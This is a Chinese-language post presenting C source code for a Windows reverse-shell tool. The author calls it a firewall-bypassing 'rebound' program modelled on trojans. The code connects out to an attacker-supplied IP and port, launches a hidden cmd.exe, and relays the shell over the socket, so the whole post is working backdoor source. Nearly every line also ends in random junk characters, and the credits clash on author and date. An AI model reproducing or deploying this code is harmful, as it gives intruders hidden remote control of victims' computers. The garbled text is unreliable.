这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ;D5>iek5
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/* ============================== Q&m85'r5X
Rebound port in Windows NT Jx*cq;`Vee
By wind,2006/7 J5@08bZm
===============================*/ pA7-B>Y
#include <Ij!x`MS+
#include 5'lVh/
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#pragma comment(lib,"wsock32.lib") ;!yK~OBxt
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void OutputShell(); 3WV(Ok
SOCKET sClient; !U`&a=k
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; K2m>D=w
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void main(int argc,char **argv) DF%d/a{]
{ 3)OZf{D[
WSADATA stWsaData; #86N
!&x
int nRet; %cNN<x8
SOCKADDR_IN stSaiClient,stSaiServer; ;5a$OM
mrGV{ {.
if(argc != 3) -15e
{ s8j |>R|k
printf("Useage:\n\rRebound DestIP DestPort\n"); 5zuwqOD*
return; sYTz6-
} lR(9;3
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WSAStartup(MAKEWORD(2,2),&stWsaData); M!mL/*G@YE
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j:9M${~
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stSaiClient.sin_family = AF_INET; %V_ XY+o
stSaiClient.sin_port = htons(0); dQX-s=XJ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); D{9a'0J
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) zcpL[@B
{ dg D-"-O
printf("Bind Socket Failed!\n"); !_glZ*tL
return; sA0Ho6
} zI88IM7/
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stSaiServer.sin_family = AF_INET; KbJ6U75|f
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ^0,}y]5p
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); aRd~T6I
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +cpb!YEAb
{ 5hs_k[q
printf("Connect Error!"); ]l7W5$26 @
return; #%,X),%-
} ^`H'LD
OutputShell(); t@KTiJI
]
} q|5WHB
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void OutputShell() Z'o0::k
{ 31n"w;
char szBuff[1024]; vE ]ge
SECURITY_ATTRIBUTES stSecurityAttributes; ~Nh6po{
OSVERSIONINFO stOsversionInfo; F`}'^>
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )! [B(
STARTUPINFO stStartupInfo; #83
char *szShell; @kXuC<
PROCESS_INFORMATION stProcessInformation; =dm9+ff
unsigned long lBytesRead; =fSTncq
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); |N,^*xP(6
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 0 '&C5v'
stSecurityAttributes.lpSecurityDescriptor = 0; g%2G=gR$?z
stSecurityAttributes.bInheritHandle = TRUE; ra^</o/
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); G<Z}G8FW^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \Z*:l(
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zK0M WyXO
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %PW-E($o<
stStartupInfo.wShowWindow = SW_HIDE; :?f<tNU$
stStartupInfo.hStdInput = hReadPipe; k|fM9E
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5 nt3gVy
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GetVersionEx(&stOsversionInfo); >N3X/8KL%
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switch(stOsversionInfo.dwPlatformId) ,\`ruWWLb=
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case 1: E2hsSqsu=
szShell = "command.com"; +Q&l}2
break; W3i<Unq
default: Rsx6vF8]5
szShell = "cmd.exe"; eI-fH
break; ;QZG<
} k?cX fj&
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); oKGH|iVEe
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= |K!
send(sClient,szMsg,77,0); @= <{_p
while(1) l,n_G/\
{ Vmz#u1gGT6
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y)r`<B
if(lBytesRead) o*T?f)_[p
{ rpk8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M]8>5Zx.
send(sClient,szBuff,lBytesRead,0); mtUiO
p
} COi15( G2
else m?-)SA
{ w+m7jn!$
lBytesRead=recv(sClient,szBuff,1024,0); 5N9Cd[4
if(lBytesRead<=0) break; `JIp$
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1@Ba7>%'
} H c/7x).
} e`Yj}i*bx]
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return; _0[z
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}